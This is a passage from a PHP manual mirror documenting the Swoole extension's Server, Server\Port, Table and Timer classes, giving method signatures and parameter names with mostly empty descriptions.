  • Swoole\Server::pause — Stop receiving data from the connection.
  • Swoole\Server::protect — Set the connection to be protected mode.
  • Swoole\Server::reload — Restart all the worker process.
  • Swoole\Server::resume — Start receving data from the connection.
  • Swoole\Server::send — Send data to the client.
  • Swoole\Server::sendfile — Send file to the connection.
  • Swoole\Server::sendMessage — Send message to worker processes by ID.
  • Swoole\Server::sendto — Send data to the remote UDP address.
  • Swoole\Server::sendwait — Send data to the remote socket in the blocking way.
  • Swoole\Server::set — Set the runtime settings of the swoole server.
  • Swoole\Server::shutdown — Shutdown the master server process, this function can be called in worker processes.
  • Swoole\Server::start — Start the Swoole server.
  • Swoole\Server::stats — Get the stats of the Swoole server.
  • Swoole\Server::stop — Stop the Swoole server.
  • Swoole\Server::task — Send data to the task worker processes.
  • Swoole\Server::taskwait — Send data to the task worker processes in blocking way.
  • Swoole\Server::taskWaitMulti — Execute multiple tasks concurrently.
  • Swoole\Server::tick — Repeats a given function at every given time-interval.

User Contributed Notes

There are no user contributed notes for this page.


Add a new listener to the server.

  • ≪ Swoole\Server
  • Swoole\Server::addProcess ≫
  • PHP Manual
  • Swoole\Server
  • Add a new listener to the server.

Swoole\Server::addlistener

(PECL swoole >= 1.9.0)

Swoole\Server::addlistener — Add a new listener to the server.

説明

public Swoole\Server::addlistener ( string $host , int $port , string $socket_type ) : void

パラメータ

host

port

socket_type

返り値

User Contributed Notes

There are no user contributed notes for this page.


Add a user defined swoole_process to the server.

  • ≪ Swoole\Server::addlistener
  • Swoole\Server::after ≫
  • PHP Manual
  • Swoole\Server
  • Add a user defined swoole_process to the server.

Swoole\Server::addProcess

(PECL swoole >= 1.9.0)

Swoole\Server::addProcess — Add a user defined swoole_process to the server.

説明

public Swoole\Server::addProcess ( swoole_process $process ) : bool

パラメータ

process

返り値

User Contributed Notes

There are no user contributed notes for this page.


Trigger a callback function after a period of time.

  • ≪ Swoole\Server::addProcess
  • Swoole\Server::bind ≫
  • PHP Manual
  • Swoole\Server
  • Trigger a callback function after a period of time.

Swoole\Server::after

(PECL swoole >= 1.9.0)

Swoole\Server::after — Trigger a callback function after a period of time.

説明

public Swoole\Server::after ( int $after_time_ms , callable $callback , string $param = ? ) : ReturnType

パラメータ

after_time_ms

callback

param

返り値

User Contributed Notes

There are no user contributed notes for this page.


Bind the connection to a user defined user ID.

  • ≪ Swoole\Server::after
  • Swoole\Server::clearTimer ≫
  • PHP Manual
  • Swoole\Server
  • Bind the connection to a user defined user ID.

Swoole\Server::bind

(PECL swoole >= 1.9.0)

Swoole\Server::bind — Bind the connection to a user defined user ID.

説明

public Swoole\Server::bind ( int $fd , int $uid ) : bool

パラメータ

fd

uid

返り値

User Contributed Notes

There are no user contributed notes for this page.


Stop and destory a timer.

  • ≪ Swoole\Server::bind
  • Swoole\Server::close ≫
  • PHP Manual
  • Swoole\Server
  • Stop and destory a timer.

Swoole\Server::clearTimer

swoole_timer_clear

(PECL swoole >= 1.9.0)

Swoole\Server::clearTimer -- swoole_timer_clear — Stop and destory a timer.

説明

オブジェクト指向型 (method):

public Swoole\Server::clearTimer ( int $timer_id ) : void

手続き型:

swoole_timer_clear ( int $timer_id ) : void

Stop and destory a timer

パラメータ

timer_id

返り値

User Contributed Notes

There are no user contributed notes for this page.


Close a connection to the client.

  • ≪ Swoole\Server::clearTimer
  • Swoole\Server::confirm ≫
  • PHP Manual
  • Swoole\Server
  • Close a connection to the client.

Swoole\Server::close

(PECL swoole >= 1.9.0)

Swoole\Server::close — Close a connection to the client.

説明

public Swoole\Server::close ( int $fd , bool $reset = ? ) : bool

パラメータ

fd

reset

返り値

User Contributed Notes

There are no user contributed notes for this page.


Check status of the connection.

  • ≪ Swoole\Server::close
  • Swoole\Server::connection_info ≫
  • PHP Manual
  • Swoole\Server
  • Check status of the connection.

Swoole\Server::confirm

(PECL swoole >= 1.9.0)

Swoole\Server::confirm — Check status of the connection.

説明

public Swoole\Server::confirm ( int $fd ) : bool

パラメータ

fd

返り値

User Contributed Notes

There are no user contributed notes for this page.


Get the connection info by file description.

  • ≪ Swoole\Server::confirm
  • Swoole\Server::connection_list ≫
  • PHP Manual
  • Swoole\Server
  • Get the connection info by file description.

Swoole\Server::connection_info

(PECL swoole >= 1.9.0)

Swoole\Server::connection_info — Get the connection info by file description.

説明

public Swoole\Server::connection_info ( int $fd , int $reactor_id = ? ) : array

パラメータ

fd

reactor_id

返り値

User Contributed Notes

There are no user contributed notes for this page.


Get all of the established connections.

  • ≪ Swoole\Server::connection_info
  • Swoole\Server::__construct ≫
  • PHP Manual
  • Swoole\Server
  • Get all of the established connections.

Swoole\Server::connection_list

(PECL swoole >= 1.9.0)

Swoole\Server::connection_list — Get all of the established connections.

説明

public Swoole\Server::connection_list ( int $start_fd , int $pagesize = ? ) : array

パラメータ

start_fd

pagesize

返り値

User Contributed Notes

There are no user contributed notes for this page.


Construct a Swoole server.

  • ≪ Swoole\Server::connection_list
  • Swoole\Server::defer ≫
  • PHP Manual
  • Swoole\Server
  • Construct a Swoole server.

Swoole\Server::__construct

(PECL swoole >= 1.9.0)

Swoole\Server::__construct — Construct a Swoole server.

説明

public Swoole\Server::__construct ( string $host , int $port = ? , integr $mode = ? , int $sock_type = ? )

パラメータ

host

port

mode

sock_type

User Contributed Notes

There are no user contributed notes for this page.


Delay execution of the callback function at the end of current EventLoop.

  • ≪ Swoole\Server::__construct
  • Swoole\Server\Port::__construct ≫
  • PHP Manual
  • Swoole\Server
  • Delay execution of the callback function at the end of current EventLoop.

Swoole\Server::defer

(PECL swoole >= 1.9.0)

Swoole\Server::defer — Delay execution of the callback function at the end of current EventLoop.

説明

public Swoole\Server::defer ( callable $callback ) : void

パラメータ

callback

返り値

User Contributed Notes

There are no user contributed notes for this page.


Construct a server port

  • ≪ Swoole\Server::defer
  • Swoole\Server\Port::__destruct ≫
  • PHP Manual
  • Swoole\Server
  • Construct a server port

Swoole\Server\Port::__construct

(PECL swoole >= 1.9.0)

Swoole\Server\Port::__construct — Construct a server port

説明

private Swoole\Server\Port::__construct ( )

パラメータ

この関数にはパラメータはありません。

User Contributed Notes

There are no user contributed notes for this page.


Destory server port

  • ≪ Swoole\Server\Port::__construct
  • Swoole\Server\Port::on ≫
  • PHP Manual
  • Swoole\Server
  • Destory server port

Swoole\Server\Port::__destruct

(PECL swoole >= 1.9.0)

Swoole\Server\Port::__destruct — Destory server port

説明

public Swoole\Server\Port::__destruct ( ) : void

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Register callback functions by event.

  • ≪ Swoole\Server\Port::__destruct
  • Swoole\Server\Port::set ≫
  • PHP Manual
  • Swoole\Server
  • Register callback functions by event.

Swoole\Server\Port::on

(PECL swoole >= 1.9.0)

Swoole\Server\Port::on — Register callback functions by event.

説明

public Swoole\Server\Port::on ( string $event_name , callable $callback ) : ReturnType

パラメータ

event_name

callback

返り値

User Contributed Notes

There are no user contributed notes for this page.


Set protocol of the server port.

  • ≪ Swoole\Server\Port::on
  • Swoole\Server::exist ≫
  • PHP Manual
  • Swoole\Server
  • Set protocol of the server port.

Swoole\Server\Port::set

(PECL swoole >= 1.9.0)

Swoole\Server\Port::set — Set protocol of the server port.

説明

public Swoole\Server\Port::set ( array $settings ) : void

パラメータ

settings

返り値

User Contributed Notes

There are no user contributed notes for this page.


Check if the connection is existed.

  • ≪ Swoole\Server\Port::set
  • Swoole\Server::finish ≫
  • PHP Manual
  • Swoole\Server
  • Check if the connection is existed.

Swoole\Server::exist

(PECL swoole >= 1.9.0)

Swoole\Server::exist — Check if the connection is existed.

説明

public Swoole\Server::exist ( int $fd ) : bool

パラメータ

fd

返り値

User Contributed Notes

There are no user contributed notes for this page.


Used in task process for sending result to the worker process when the task is finished.

  • ≪ Swoole\Server::exist
  • Swoole\Server::getClientInfo ≫
  • PHP Manual
  • Swoole\Server
  • Used in task process for sending result to the worker process when the task is finished.

Swoole\Server::finish

(PECL swoole >= 1.9.0)

Swoole\Server::finish — Used in task process for sending result to the worker process when the task is finished.

説明

public Swoole\Server::finish ( string $data ) : void

パラメータ

data

返り値

User Contributed Notes

There are no user contributed notes for this page.


Get the connection info by file description.

  • ≪ Swoole\Server::finish
  • Swoole\Server::getClientList ≫
  • PHP Manual
  • Swoole\Server
  • Get the connection info by file description.

Swoole\Server::getClientInfo

(PECL swoole >= 1.9.0)

Swoole\Server::getClientInfo — Get the connection info by file description.

説明

public Swoole\Server::getClientInfo ( int $fd , int $reactor_id = ? ) : ReturnType

パラメータ

fd

reactor_id

返り値

User Contributed Notes

There are no user contributed notes for this page.


Get all of the established connections.

  • ≪ Swoole\Server::getClientInfo
  • Swoole\Server::getLastError ≫
  • PHP Manual
  • Swoole\Server
  • Get all of the established connections.

Swoole\Server::getClientList

(PECL swoole >= 1.9.0)

Swoole\Server::getClientList — Get all of the established connections.

説明

public Swoole\Server::getClientList ( int $start_fd , int $pagesize = ? ) : array

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

start_fd

pagesize

返り値

User Contributed Notes

There are no user contributed notes for this page.


Get the error code of the most recent error.

  • ≪ Swoole\Server::getClientList
  • Swoole\Server::heartbeat ≫
  • PHP Manual
  • Swoole\Server
  • Get the error code of the most recent error.

Swoole\Server::getLastError

(PECL swoole >= 1.9.0)

Swoole\Server::getLastError — Get the error code of the most recent error.

説明

public Swoole\Server::getLastError ( ) : int

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Check all the connections on the server.

  • ≪ Swoole\Server::getLastError
  • Swoole\Server::listen ≫
  • PHP Manual
  • Swoole\Server
  • Check all the connections on the server.

Swoole\Server::heartbeat

(PECL swoole >= 1.9.0)

Swoole\Server::heartbeat — Check all the connections on the server.

説明

public Swoole\Server::heartbeat ( bool $if_close_connection ) : mixed

パラメータ

if_close_connection

返り値

User Contributed Notes

There are no user contributed notes for this page.


Listen on the given IP and port, socket type.

  • ≪ Swoole\Server::heartbeat
  • Swoole\Server::on ≫
  • PHP Manual
  • Swoole\Server
  • Listen on the given IP and port, socket type.

Swoole\Server::listen

(PECL swoole >= 1.9.0)

Swoole\Server::listen — Listen on the given IP and port, socket type.

説明

public Swoole\Server::listen ( string $host , int $port , string $socket_type ) : bool

パラメータ

host

port

socket_type

返り値

User Contributed Notes

There are no user contributed notes for this page.


Register a callback function by event name.

  • ≪ Swoole\Server::listen
  • Swoole\Server::pause ≫
  • PHP Manual
  • Swoole\Server
  • Register a callback function by event name.

Swoole\Server::on

(PECL swoole >= 1.9.0)

Swoole\Server::on — Register a callback function by event name.

説明

public Swoole\Server::on ( string $event_name , callable $callback ) : void

パラメータ

event_name

callback

返り値

User Contributed Notes

There are no user contributed notes for this page.


Stop receiving data from the connection.

  • ≪ Swoole\Server::on
  • Swoole\Server::protect ≫
  • PHP Manual
  • Swoole\Server
  • Stop receiving data from the connection.

Swoole\Server::pause

(PECL swoole >= 1.9.0)

Swoole\Server::pause — Stop receiving data from the connection.

説明

public Swoole\Server::pause ( int $fd ) : void

パラメータ

fd

返り値

User Contributed Notes

There are no user contributed notes for this page.


Set the connection to be protected mode.

  • ≪ Swoole\Server::pause
  • Swoole\Server::reload ≫
  • PHP Manual
  • Swoole\Server
  • Set the connection to be protected mode.

Swoole\Server::protect

(PECL swoole >= 1.9.0)

Swoole\Server::protect — Set the connection to be protected mode.

説明

public Swoole\Server::protect ( int $fd , bool $is_protected = ? ) : void

パラメータ

fd

is_protected

返り値

User Contributed Notes

There are no user contributed notes for this page.


Restart all the worker process.

  • ≪ Swoole\Server::protect
  • Swoole\Server::resume ≫
  • PHP Manual
  • Swoole\Server
  • Restart all the worker process.

Swoole\Server::reload

(PECL swoole >= 1.9.0)

Swoole\Server::reload — Restart all the worker process.

説明

public Swoole\Server::reload ( ) : bool

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Start receving data from the connection.

  • ≪ Swoole\Server::reload
  • Swoole\Server::send ≫
  • PHP Manual
  • Swoole\Server
  • Start receving data from the connection.

Swoole\Server::resume

(PECL swoole >= 1.9.0)

Swoole\Server::resume — Start receving data from the connection.

説明

public Swoole\Server::resume ( int $fd ) : void

パラメータ

fd

返り値

User Contributed Notes

There are no user contributed notes for this page.


Send data to the client.

  • ≪ Swoole\Server::resume
  • Swoole\Server::sendfile ≫
  • PHP Manual
  • Swoole\Server
  • Send data to the client.

Swoole\Server::send

(PECL swoole >= 1.9.0)

Swoole\Server::send — Send data to the client.

説明

public Swoole\Server::send ( int $fd , string $data , int $reactor_id = ? ) : bool

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

fd

data

reactor_id

返り値

User Contributed Notes

There are no user contributed notes for this page.


Send file to the connection.

  • ≪ Swoole\Server::send
  • Swoole\Server::sendMessage ≫
  • PHP Manual
  • Swoole\Server
  • Send file to the connection.

Swoole\Server::sendfile

(PECL swoole >= 1.9.0)

Swoole\Server::sendfile — Send file to the connection.

説明

public Swoole\Server::sendfile ( int $fd , string $filename , int $offset = ? ) : bool

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

fd

filename

offset

返り値

User Contributed Notes

There are no user contributed notes for this page.


Send message to worker processes by ID.

  • ≪ Swoole\Server::sendfile
  • Swoole\Server::sendto ≫
  • PHP Manual
  • Swoole\Server
  • Send message to worker processes by ID.

Swoole\Server::sendMessage

(PECL swoole >= 1.9.0)

Swoole\Server::sendMessage — Send message to worker processes by ID.

説明

public Swoole\Server::sendMessage ( int $worker_id , string $data ) : bool

パラメータ

dst_worker_id

data

返り値

User Contributed Notes

There are no user contributed notes for this page.


Send data to the remote UDP address.

  • ≪ Swoole\Server::sendMessage
  • Swoole\Server::sendwait ≫
  • PHP Manual
  • Swoole\Server
  • Send data to the remote UDP address.

Swoole\Server::sendto

(PECL swoole >= 1.9.0)

Swoole\Server::sendto — Send data to the remote UDP address.

説明

public Swoole\Server::sendto ( string $ip , int $port , string $data , string $server_socket = ? ) : bool

パラメータ

ip

port

data

server_socket

返り値

User Contributed Notes

There are no user contributed notes for this page.


Send data to the remote socket in the blocking way.

  • ≪ Swoole\Server::sendto
  • Swoole\Server::set ≫
  • PHP Manual
  • Swoole\Server
  • Send data to the remote socket in the blocking way.

Swoole\Server::sendwait

(PECL swoole >= 1.9.0)

Swoole\Server::sendwait — Send data to the remote socket in the blocking way.

説明

public Swoole\Server::sendwait ( int $fd , string $data ) : bool

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

fd

data

返り値

User Contributed Notes

There are no user contributed notes for this page.


Set the runtime settings of the swoole server.

  • ≪ Swoole\Server::sendwait
  • Swoole\Server::shutdown ≫
  • PHP Manual
  • Swoole\Server
  • Set the runtime settings of the swoole server.

Swoole\Server::set

(PECL swoole >= 1.9.0)

Swoole\Server::set — Set the runtime settings of the swoole server.

説明

public Swoole\Server::set ( array $settings ) : ReturnType

Set the runtime settings of the swoole server. The settings can be accessed by $server->setting when the swoole server has started.

パラメータ

settings

返り値

User Contributed Notes

There are no user contributed notes for this page.


Shutdown the master server process, this function can be called in worker processes.

  • ≪ Swoole\Server::set
  • Swoole\Server::start ≫
  • PHP Manual
  • Swoole\Server
  • Shutdown the master server process, this function can be called in worker processes.

Swoole\Server::shutdown

(PECL swoole >= 1.9.0)

Swoole\Server::shutdown — Shutdown the master server process, this function can be called in worker processes.

説明

public Swoole\Server::shutdown ( ) : void

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Start the Swoole server.

  • ≪ Swoole\Server::shutdown
  • Swoole\Server::stats ≫
  • PHP Manual
  • Swoole\Server
  • Start the Swoole server.

Swoole\Server::start

(PECL swoole >= 1.9.0)

Swoole\Server::start — Start the Swoole server.

説明

public Swoole\Server::start ( ) : void

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Get the stats of the Swoole server.

  • ≪ Swoole\Server::start
  • Swoole\Server::stop ≫
  • PHP Manual
  • Swoole\Server
  • Get the stats of the Swoole server.

Swoole\Server::stats

(PECL swoole >= 1.9.0)

Swoole\Server::stats — Get the stats of the Swoole server.

説明

public Swoole\Server::stats ( ) : array

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Stop the Swoole server.

  • ≪ Swoole\Server::stats
  • Swoole\Server::task ≫
  • PHP Manual
  • Swoole\Server
  • Stop the Swoole server.

Swoole\Server::stop

(PECL swoole >= 1.9.0)

Swoole\Server::stop — Stop the Swoole server.

説明

public Swoole\Server::stop ( int $worker_id = ? ) : bool

パラメータ

worker_id

返り値

User Contributed Notes

There are no user contributed notes for this page.


Send data to the task worker processes.

  • ≪ Swoole\Server::stop
  • Swoole\Server::taskwait ≫
  • PHP Manual
  • Swoole\Server
  • Send data to the task worker processes.

Swoole\Server::task

(PECL swoole >= 1.9.0)

Swoole\Server::task — Send data to the task worker processes.

説明

public Swoole\Server::task ( string $data , int $dst_worker_id = ? , callable $callback = ? ) : mixed

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

data

dst_worker_id

callback

返り値

User Contributed Notes

There are no user contributed notes for this page.


Send data to the task worker processes in blocking way.

  • ≪ Swoole\Server::task
  • Swoole\Server::taskWaitMulti ≫
  • PHP Manual
  • Swoole\Server
  • Send data to the task worker processes in blocking way.

Swoole\Server::taskwait

(PECL swoole >= 1.9.0)

Swoole\Server::taskwait — Send data to the task worker processes in blocking way.

説明

public Swoole\Server::taskwait ( string $data , float $timeout = ? , int $worker_id = ? ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

data

timeout

worker_id

返り値

User Contributed Notes

There are no user contributed notes for this page.


Execute multiple tasks concurrently.

  • ≪ Swoole\Server::taskwait
  • Swoole\Server::tick ≫
  • PHP Manual
  • Swoole\Server
  • Execute multiple tasks concurrently.

Swoole\Server::taskWaitMulti

(PECL swoole >= 1.9.0)

Swoole\Server::taskWaitMulti — Execute multiple tasks concurrently.

説明

public Swoole\Server::taskWaitMulti ( array $tasks , double $timeout_ms = ? ) : void

パラメータ

tasks

timeout_ms

返り値

User Contributed Notes

There are no user contributed notes for this page.


Repeats a given function at every given time-interval.

  • ≪ Swoole\Server::taskWaitMulti
  • Swoole\Table ≫
  • PHP Manual
  • Swoole\Server
  • Repeats a given function at every given time-interval.

Swoole\Server::tick

(PECL swoole >= 1.9.0)

Swoole\Server::tick — Repeats a given function at every given time-interval.

説明

public Swoole\Server::tick ( int $interval_ms , callable $callback ) : void

パラメータ

interval_ms

callback

返り値

User Contributed Notes

There are no user contributed notes for this page.


The Swoole\Table class

(PECL swoole >= 1.9.0)

はじめに

クラス概要

Swoole\Table implements Iterator , Countable {
/* Constants */
const int TYPE_INT = 1 ;
const int TYPE_STRING = 7 ;
const int TYPE_FLOAT = 6 ;
/* メソッド */
public column ( string $name , string $type , int $size = ? ) : ReturnType
public count ( ) : int
public create ( ) : void
public current ( ) : array
public decr ( string $key , string $column , int $decrby = ? ) : ReturnType
public del ( string $key ) : void
public destroy ( ) : void
public exist ( string $key ) : bool
public get ( string $row_key , string $column_key ) : int
public incr ( string $key , string $column , int $incrby = ? ) : void
public key ( ) : string
public next ( ) : ReturnType
public rewind ( ) : void
public set ( string $key , array $value ) : VOID
public valid ( ) : bool
}

定義済み定数

Swoole\Table::TYPE_INT

Swoole\Table::TYPE_STRING

Swoole\Table::TYPE_FLOAT

目次

  • Swoole\Table::column — Set the data type and size of the columns.
  • Swoole\Table::__construct — Construct a Swoole memory table with fixed size.
  • Swoole\Table::count — Count the rows in the table, or count all the elements in the table if $mode = 1.
  • Swoole\Table::create — Create the swoole memory table.
  • Swoole\Table::current — Get the current row.
  • Swoole\Table::decr — Decrement the value in the Swoole table by $row_key and $column_key.
  • Swoole\Table::del — Delete a row in the Swoole table by $row_key.
  • Swoole\Table::destroy — Destroy the Swoole table.
  • Swoole\Table::exist — Check if a row is existed by $row_key.
  • Swoole\Table::get — Get the value in the Swoole table by $row_key and $column_key.
  • Swoole\Table::incr — Increment the value by $row_key and $column_key.
  • Swoole\Table::key — Get the key of current row.
  • Swoole\Table::next — Iterator the next row.
  • Swoole\Table::rewind — Rewind the iterator.
  • Swoole\Table::set — Update a row of the table by $row_key.
  • Swoole\Table::valid — Check current if the current row is valid.

User Contributed Notes

There are no user contributed notes for this page.


Set the data type and size of the columns.

  • ≪ Swoole\Table
  • Swoole\Table::__construct ≫
  • PHP Manual
  • Swoole\Table
  • Set the data type and size of the columns.

Swoole\Table::column

(PECL swoole >= 1.9.0)

Swoole\Table::column — Set the data type and size of the columns.

説明

public Swoole\Table::column ( string $name , string $type , int $size = ? ) : ReturnType

パラメータ

name

type

size

返り値

User Contributed Notes

There are no user contributed notes for this page.


Construct a Swoole memory table with fixed size.

  • ≪ Swoole\Table::column
  • Swoole\Table::count ≫
  • PHP Manual
  • Swoole\Table
  • Construct a Swoole memory table with fixed size.

Swoole\Table::__construct

(PECL swoole >= 1.9.0)

Swoole\Table::__construct — Construct a Swoole memory table with fixed size.

説明

public Swoole\Table::__construct ( int $table_size )

パラメータ

table_size

User Contributed Notes

There are no user contributed notes for this page.


Count the rows in the table, or count all the elements in the table if $mode = 1.

  • ≪ Swoole\Table::__construct
  • Swoole\Table::create ≫
  • PHP Manual
  • Swoole\Table
  • Count the rows in the table, or count all the elements in the table if $mode = 1.

Swoole\Table::count

(PECL swoole >= 1.9.0)

Swoole\Table::count — Count the rows in the table, or count all the elements in the table if $mode = 1.

説明

public Swoole\Table::count ( ) : int

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Create the swoole memory table.

  • ≪ Swoole\Table::count
  • Swoole\Table::current ≫
  • PHP Manual
  • Swoole\Table
  • Create the swoole memory table.

Swoole\Table::create

(PECL swoole >= 1.9.0)

Swoole\Table::create — Create the swoole memory table.

説明

public Swoole\Table::create ( ) : void

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Get the current row.

  • ≪ Swoole\Table::create
  • Swoole\Table::decr ≫
  • PHP Manual
  • Swoole\Table
  • Get the current row.

Swoole\Table::current

(PECL swoole >= 1.9.0)

Swoole\Table::current — Get the current row.

説明

public Swoole\Table::current ( ) : array

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Decrement the value in the Swoole table by $row_key and $column_key.

  • ≪ Swoole\Table::current
  • Swoole\Table::del ≫
  • PHP Manual
  • Swoole\Table
  • Decrement the value in the Swoole table by $row_key and $column_key.

Swoole\Table::decr

(PECL swoole >= 1.9.0)

Swoole\Table::decr — Decrement the value in the Swoole table by $row_key and $column_key.

説明

public Swoole\Table::decr ( string $key , string $column , int $decrby = ? ) : ReturnType

パラメータ

key

column

decrby

返り値

User Contributed Notes

There are no user contributed notes for this page.


Delete a row in the Swoole table by $row_key.

  • ≪ Swoole\Table::decr
  • Swoole\Table::destroy ≫
  • PHP Manual
  • Swoole\Table
  • Delete a row in the Swoole table by $row_key.

Swoole\Table::del

(PECL swoole >= 1.9.0)

Swoole\Table::del — Delete a row in the Swoole table by $row_key.

説明

public Swoole\Table::del ( string $key ) : void

パラメータ

key

返り値

User Contributed Notes

There are no user contributed notes for this page.


Destroy the Swoole table.

  • ≪ Swoole\Table::del
  • Swoole\Table::exist ≫
  • PHP Manual
  • Swoole\Table
  • Destroy the Swoole table.

Swoole\Table::destroy

(PECL swoole >= 1.9.0)

Swoole\Table::destroy — Destroy the Swoole table.

説明

public Swoole\Table::destroy ( ) : void

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Check if a row is existed by $row_key.

  • ≪ Swoole\Table::destroy
  • Swoole\Table::get ≫
  • PHP Manual
  • Swoole\Table
  • Check if a row is existed by $row_key.

Swoole\Table::exist

(PECL swoole >= 1.9.0)

Swoole\Table::exist — Check if a row is existed by $row_key.

説明

public Swoole\Table::exist ( string $key ) : bool

パラメータ

key

返り値

User Contributed Notes

There are no user contributed notes for this page.


Get the value in the Swoole table by $row_key and $column_key.

  • ≪ Swoole\Table::exist
  • Swoole\Table::incr ≫
  • PHP Manual
  • Swoole\Table
  • Get the value in the Swoole table by $row_key and $column_key.

Swoole\Table::get

(PECL swoole >= 1.9.0)

Swoole\Table::get — Get the value in the Swoole table by $row_key and $column_key.

説明

public Swoole\Table::get ( string $row_key , string $column_key ) : int

パラメータ

row_key

column_key

返り値

User Contributed Notes

There are no user contributed notes for this page.


Increment the value by $row_key and $column_key.

  • ≪ Swoole\Table::get
  • Swoole\Table::key ≫
  • PHP Manual
  • Swoole\Table
  • Increment the value by $row_key and $column_key.

Swoole\Table::incr

(PECL swoole >= 1.9.0)

Swoole\Table::incr — Increment the value by $row_key and $column_key.

説明

public Swoole\Table::incr ( string $key , string $column , int $incrby = ? ) : void

パラメータ

key

column

incrby

返り値

User Contributed Notes

There are no user contributed notes for this page.


Get the key of current row.

  • ≪ Swoole\Table::incr
  • Swoole\Table::next ≫
  • PHP Manual
  • Swoole\Table
  • Get the key of current row.

Swoole\Table::key

(PECL swoole >= 1.9.0)

Swoole\Table::key — Get the key of current row.

説明

public Swoole\Table::key ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Iterator the next row.

  • ≪ Swoole\Table::key
  • Swoole\Table::rewind ≫
  • PHP Manual
  • Swoole\Table
  • Iterator the next row.

Swoole\Table::next

(PECL swoole >= 1.9.0)

Swoole\Table::next — Iterator the next row.

説明

public Swoole\Table::next ( ) : ReturnType

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Rewind the iterator.

  • ≪ Swoole\Table::next
  • Swoole\Table::set ≫
  • PHP Manual
  • Swoole\Table
  • Rewind the iterator.

Swoole\Table::rewind

(PECL swoole >= 1.9.0)

Swoole\Table::rewind — Rewind the iterator.

説明

public Swoole\Table::rewind ( ) : void

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Update a row of the table by $row_key.

  • ≪ Swoole\Table::rewind
  • Swoole\Table::valid ≫
  • PHP Manual
  • Swoole\Table
  • Update a row of the table by $row_key.

Swoole\Table::set

(PECL swoole >= 1.9.0)

Swoole\Table::set — Update a row of the table by $row_key.

説明

public Swoole\Table::set ( string $key , array $value ) : VOID

パラメータ

key

value

返り値

User Contributed Notes

There are no user contributed notes for this page.


Check current if the current row is valid.

  • ≪ Swoole\Table::set
  • Swoole\Timer ≫
  • PHP Manual
  • Swoole\Table
  • Check current if the current row is valid.

Swoole\Table::valid

(PECL swoole >= 1.9.0)

Swoole\Table::valid — Check current if the current row is valid.

説明

public Swoole\Table::valid ( ) : bool

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


The Swoole\Timer class

(PECL swoole >= 1.9.0)

はじめに

クラス概要

Swoole\Timer {
/* メソッド */
public static after ( int $after_time_ms , callable $callback ) : void
public static clear ( int $timer_id ) : void
public static exists ( int $timer_id ) : bool
public static tick ( int $interval_ms , callable $callback , string $param = ? ) : void
}

目次

  • Swoole\Timer::after — Trigger a callback function after a period of time.
  • Swoole\Timer::clear — Delete a timer by timer ID.
  • Swoole\Timer::exists — Check if a timer is existed.
  • Swoole\Timer::tick — Repeats a given function at every given time-interval.

User Contributed Notes

There are no user contributed notes for this page.


Trigger a callback function after a period of time.

  • ≪ Swoole\Timer
  • Swoole\Timer::clear ≫
  • PHP Manual
  • Swoole\Timer
  • Trigger a callback function after a period of time.

Swoole\Timer::after

(PECL swoole >= 1.9.0)

Swoole\Timer::after — Trigger a callback function after a period of time.

説明

public static Swoole\Timer::after ( int $after_time_ms , callable $callback ) : void

Trigger a callback function after a period of time.

パラメータ

after_time_ms

callback

返り値

User Contributed Notes

There are no user contributed notes for this page.


Delete a timer by timer ID.

  • ≪ Swoole\Timer::after
  • Swoole\Timer::exists ≫
  • PHP Manual
  • Swoole\Timer
  • Delete a timer by timer ID.

Swoole\Timer::clear

(PECL swoole >= 1.9.0)

Swoole\Timer::clear — Delete a timer by timer ID.

説明

public static Swoole\Timer::clear ( int $timer_id ) : void

Delete a timer by timer ID.

パラメータ

timer_id

返り値

User Contributed Notes

There are no user contributed notes for this page.


Check if a timer is existed.

  • ≪ Swoole\Timer::clear
  • Swoole\Timer::tick ≫
  • PHP Manual
  • Swoole\Timer
  • Check if a timer is existed.

Swoole\Timer::exists

(PECL swoole >= 1.9.0)

Swoole\Timer::exists — Check if a timer is existed.

説明

public static Swoole\Timer::exists ( int $timer_id ) : bool

Check if a timer is existed.

パラメータ

timer_id

返り値

User Contributed Notes

There are no user contributed notes for this page.


Repeats a given function at every given time-interval.

  • ≪ Swoole\Timer::exists
  • Swoole\WebSocket\Frame ≫
  • PHP Manual
  • Swoole\Timer
  • Repeats a given function at every given time-interval.

Swoole\Timer::tick

(PECL swoole >= 1.9.0)

Swoole\Timer::tick — Repeats a given function at every given time-interval.

説明

public static Swoole\Timer::tick ( int $interval_ms , callable $callback , string $param = ? ) : void

パラメータ

interval_ms

callback

param

返り値

User Contributed Notes

There are no user contributed notes for this page.


The Swoole\WebSocket\Frame class

(PECL swoole >= 1.9.0)

はじめに

クラス概要

Swoole\WebSocket\Frame {
/* メソッド */
}

User Contributed Notes

There are no user contributed notes for this page.


The Swoole\WebSocket\Server class

(PECL swoole >= 1.9.0)

はじめに

クラス概要

Swoole\WebSocket\Server extends Swoole\Http\Server {
/* メソッド */
public exist ( int $fd ) : bool
